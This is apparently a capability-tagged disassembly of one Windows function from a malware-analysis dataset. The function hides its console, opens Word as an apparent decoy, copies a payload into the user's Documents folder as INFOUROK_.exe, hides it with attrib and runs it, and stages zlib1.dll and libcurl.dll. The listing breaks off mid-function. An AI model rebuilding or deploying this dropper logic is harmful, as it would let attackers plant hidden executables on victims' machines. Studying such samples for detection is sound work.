Function at 0x140001290
Capabilities:
Copy file
Create process on windows
Delete file
Execute command
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
xor r15d, r15d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0x210], 0x80
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movups xmm0, xmmword [0x140006518]
movups xmmword [rbp + 0xd8], xmm0
movsd xmm0, qword [0x140006528]
movsd qword [rbp + 0xe8], xmm0
mov eax, dword [0x140006530]
mov dword [rbp + 0xf0], eax
movzx eax, byte [0x140006534]
mov byte [rbp + 0xf4], al
lea rax, [rbp + 0xd8]
mov rdi, 0xffffffffffffffff
mov rcx, rdi
inc rcx
cmp byte [rax + rcx], r15b
jne 0x140001342
add rcx, 0x40
call fcn.140004ec4
mov rbx, rax
movups xmm0, xmmword [str.start__max_winword__]
movups xmmword [rax], xmm0
mov ecx, dword [0x140006508]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x14000650c]
mov byte [rax + 0x14], cl
lea rcx, [rax - 1]
nop dword [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x140001380
lea r8, [rbp + 0xd8]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400013a0
lea rax, [rbx - 1]
lea rax, [rax + 1]
cmp byte [rax], r15b
jne 0x1400013b4
movsd xmm0, qword [str.___q__n]
movsd qword [rax], xmm0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 1
mov rcx, rbx
call fcn.140004ebc
mov edx, 1
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_Beep]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x100]
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], r15
lea rax, [rbp + 0x220]
mov rbx, rdi
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r15b
jne 0x140001420
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x14000337e
movabs rcx, 0x8000000000000000
mov eax, 0x16
mov qword [rbp - 0x70], 0xf
cmp rbx, 0xf
ja 0x14000147b
mov qword [rbp - 0x78], rbx
mov r8, rbx
lea rdx, [rbp + 0x220]
lea rcx, [rsp + 0x78]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x78], r15b
jmp 0x140001507
mov r14, rbx
or r14, 0xf
cmp r14, rsi
jbe 0x1400014a9
mov r14, rsi
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.140004e80
test rax, rax
je 0x1400014cc
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x1400014e0
cmp r14, rax
cmovb r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x1400014d3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000334e
jmp 0x14000148e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400014e0
call fcn.140004e80
mov r15, rax
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], r14
mov r8, rbx
lea rdx, [rbp + 0x220]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + rbx], 0
xor r15d, r15d
mov r8, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
sub rax, r8
lea rdx, [0x140006559]
mov r12d, 9
lea r14, str.C:Users_
cmp rax, r12
jb 0x14000159d
lea rax, [r8 + 9]
mov qword [rbp - 0x78], rax
lea rbx, [rsp + 0x78]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x78]
cmp rdx, rbx
jbe 0x140001560
lea rax, [rbx + r8]
cmp r14, rax
ja 0x140001560
cmp rbx, r14
jbe 0x140001563
mov r15, rbx
sub r15, r14
jmp 0x140001563
mov r15, r12
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r15]
mov r8, r12
sub r8, r15
lea rdx, [r14 + 9]
add rdx, r15
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x78]
jmp 0x1400015b4
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
mov rdx, r12
lea rcx, [rsp + 0x78]
call fcn.140004c80
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
xor r15d, r15d
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x90], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x88], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rcx, qword [rbp + 0x88]
mov rdx, qword [rbp + 0x90]
mov rax, rdx
sub rax, rcx
cmp rax, 0x14
jb 0x14000163f
lea rax, [rcx + 0x14]
mov qword [rbp + 0x88], rax
lea rbx, [rbp + 0x78]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x78]
add rbx, rcx
lea r8d, [r15 + 0x14]
lea rdx, str.Documentszlib1.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x14], r15b
lea rax, [rbp + 0x78]
jmp 0x14000165d
mov qword [rsp + 0x20], 0x14
lea r9, str.Documentszlib1.dll
mov edx, 0x14
lea rcx, [rbp + 0x78]
call fcn.140004ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r15
mov qword [rbp + 0xb0], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0xf
cmova rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x100]
call fcn.1400040f0
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x140001701
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rbp + 0xa8], r15
mov qword [rbp + 0xb0], 0xf
mov byte [rbp + 0x98], 0
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x14000175b
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001756
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001756
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400017b0
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x100]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::bad_void_const___ptr64]
cmp al, 1
jne 0x140002dc3
lea rdx, [rbp + 0x220]
lea rcx, [rsp + 0x30]
call fcn.140004350
nop
mov r8, rax
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.140004640
nop
lea r8, str.DocumentsINFOUROK_.exe
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.140004770
mov rcx, rax
call fcn.1400042e0
mov rdx, rax
mov r8d, 1
lea rcx, str.Forge.bin
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rcx, [rbp + 0xb8]
call fcn.1400042f0
nop
lea rcx, [rsp + 0x50]
call fcn.1400042f0
nop
lea rcx, [rsp + 0x30]
call fcn.1400042f0
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0xb8]
call fcn.140004350
nop
mov r8, rax
lea r13, str.attrib_s_h_C:Users_
mov rdx, r13
lea rcx, [rsp + 0x50]
call fcn.140004640
mov r15, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x18
jb 0x1400018d2
lea rax, [rcx + 0x18]
mov qword [r15 + 0x10], rax
mov rax, r15
cmp rdx, 0xf
jbe 0x1400018b3
mov rax, qword [r15]
lea rbx, [rax + rcx]
mov r8d, 0x18
lea rdx, str.DocumentsINFOUROK_.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x18], 0
jmp 0x1400018f2
mov qword [rsp + 0x20], 0x18
lea r9, str.DocumentsINFOUROK_.exe
mov edx, 0x18
mov rcx, r15
call fcn.140004ac0
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], 0xf
mov byte [r15], bl
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001981
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000197c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000197c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], bl
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400019d3
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x140001a2a
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], rbx
lea rax, [rbp + 0x220]
mov rbx, rdi
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001a50
cmp rbx, rsi
ja 0x140003384
mov qword [rbp - 0x50], 0xf
cmp rbx, 0xf
ja 0x140001a91
mov qword [rbp - 0x58], rbx
mov r8, rbx
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x68]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x68], 0
jmp 0x140001b33
mov r15, rbx
or r15, 0xf
cmp r15, rsi
jbe 0x140001ad0
mov r15, rsi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004e80
mov rcx, rax
test rax, rax
je 0x140001da3
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001b07
cmp r15, 0x16
mov eax, 0x16
cmovb r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x140001af9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003354
jmp 0x140001aae
test rcx, rcx
je 0x140001b05
call fcn.140004e80
jmp 0x140001b07
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], r15
mov r8, rbx
lea rdx, [rbp + 0x220]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x70]
mov byte [rax + rbx], 0
mov r8, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x140001bbf
lea rax, [r8 + 9]
mov qword [rbp - 0x58], rax
lea rbx, [rbp - 0x68]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x68]
lea rax, [0x140006559]
cmp rax, rbx
jbe 0x140001b83
lea rax, [rbx + r8]
cmp r14, rax
ja 0x140001b83
cmp rbx, r14
ja 0x140001b7b
xor r15d, r15d
jmp 0x140001b86
mov r15, rbx
sub r15, r14
jmp 0x140001b86
mov r15, r12
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r15]
mov r8, r12
sub r8, r15
lea rdx, [r15 + 9]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x68]
jmp 0x140001bd5
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
mov rdx, r12
lea rcx, [rbp - 0x68]
call fcn.140004c80
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor r15d, r15d
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x14
jb 0x140001c59
lea rax, [rcx + 0x14]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
lea r8d, [r15 + 0x14]
lea rdx, str.Documentszlib1.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x14], r15b
lea rax, [rsp + 0x30]
jmp 0x140001c78
mov qword [rsp + 0x20], 0x14
lea r9, str.Documentszlib1.dll
mov edx, 0x14
lea rcx, [rsp + 0x30]
call fcn.140004ac0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
xor r8d, r8d
lea rcx, str.zlib1.dll
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001d0b
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001d5e
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140001daf
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001daa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001daa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], r15
lea rax, [rbp + 0x220]
mov rbx, rdi
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001dd0
cmp rbx, rsi
ja 0x14000338a
mov qword [rbp - 0x30], 0xf
cmp rbx, 0xf
ja 0x140001e11
mov qword [rbp - 0x38], rbx
mov r8, rbx
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x48]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x48], 0
jmp 0x140001eb6
mov r15, rbx
or r15, 0xf
cmp r15, rsi
jbe 0x140001e50
mov r15, rsi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004e80
mov rcx, rax
test rax, rax
je 0x140002123
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001e87
cmp r15, 0x16
mov eax, 0x16
cmovb r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x140001e79
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000335a
jmp 0x140001e2e
test rcx, rcx
je 0x140001e85
call fcn.140004e80
jmp 0x140001e87
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], r15
mov r8, rbx
lea rdx, [rbp + 0x220]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x70]
mov byte [rax + rbx], 0
xor r15d, r15d
mov r8, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
sub rax, r8
lea rdx, [0x1400065a6]
cmp rax, 0x16
jb 0x140001f43
lea rax, [r8 + 0x16]
mov qword [rbp - 0x38], rax
lea rbx, [rbp - 0x48]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x48]
cmp rdx, rbx
jbe 0x140001f01
lea rax, [rbx + r8]
cmp r13, rax
ja 0x140001f01
cmp rbx, r13
jbe 0x140001f07
mov r15, rbx
sub r15, r13
jmp 0x140001f07
mov r15d, 0x16
lea rcx, [rbx + 0x16]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r15]
mov r8d, 0x16
sub r8, r15
lea rdx, [r13 + 0x16]
add rdx, r15
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x48]
jmp 0x140001f5d
mov eax, 0x16
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
mov edx, eax
lea rcx, [rbp - 0x48]
call fcn.140004c80
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor r15d, r15d
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x14
jb 0x140001fe1
lea rax, [rcx + 0x14]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
lea r8d, [r15 + 0x14]
lea rdx, str.Documentszlib1.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x14], r15b
lea rax, [rsp + 0x30]
jmp 0x140002000
mov qword [rsp + 0x20], 0x14
lea r9, str.Documentszlib1.dll
mov edx, 0x14
lea rcx, [rsp + 0x30]
call fcn.140004ac0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000208b
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002086
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002086
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400020de
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000212f
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000212a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000212a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], r15
lea rax, [rbp + 0x220]
mov rbx, rdi
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002153
cmp rbx, rsi
ja 0x140003390
mov qword [rbp - 0x10], 0xf
cmp rbx, 0xf
ja 0x140002194
mov qword [rbp - 0x18], rbx
mov r8, rbx
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x28]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x28], 0
jmp 0x140002239
mov r15, rbx
or r15, 0xf
cmp r15, rsi
jbe 0x1400021d3
mov r15, rsi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004e80
mov rcx, rax
test rax, rax
je 0x1400024a2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000220a
cmp r15, 0x16
mov eax, 0x16
cmovb r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x1400021fc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003360
jmp 0x1400021b1
test rcx, rcx
je 0x140002208
call fcn.140004e80
jmp 0x14000220a
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], r15
mov r8, rbx
lea rdx, [rbp + 0x220]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x70]
mov byte [rbx + rax], 0
xor r15d, r15d
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x1400022c0
lea rax, [r8 + 9]
mov qword [rbp - 0x18], rax
lea rbx, [rbp - 0x28]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x28]
lea rax, [0x140006559]
cmp rax, rbx
jbe 0x140002284
lea rax, [rbx + r8]
cmp r14, rax
ja 0x140002284
cmp rbx, r14
jbe 0x140002287
mov r15, rbx
sub r15, r14
jmp 0x140002287
mov r15, r12
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r15]
mov r8, r12
sub r8, r15
lea rdx, [r15 + 9]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x28]
jmp 0x1400022d6
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
mov rdx, r12
lea rcx, [rbp - 0x28]
call fcn.140004c80
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor r15d, r15d
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x16
jb 0x14000235a
lea rax, [rcx + 0x16]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
lea r8d, [r15 + 0x16]
lea rdx, str.Documentslibcurl.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x16], r15b
lea rax, [rsp + 0x30]
jmp 0x140002377
mov eax, 0x16
mov qword [rsp + 0x20], rax
lea r9, str.Documentslibcurl.dll
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.140004ac0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
xor r8d, r8d
lea rcx, str.libcurl.dll
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000240a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002405
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002405
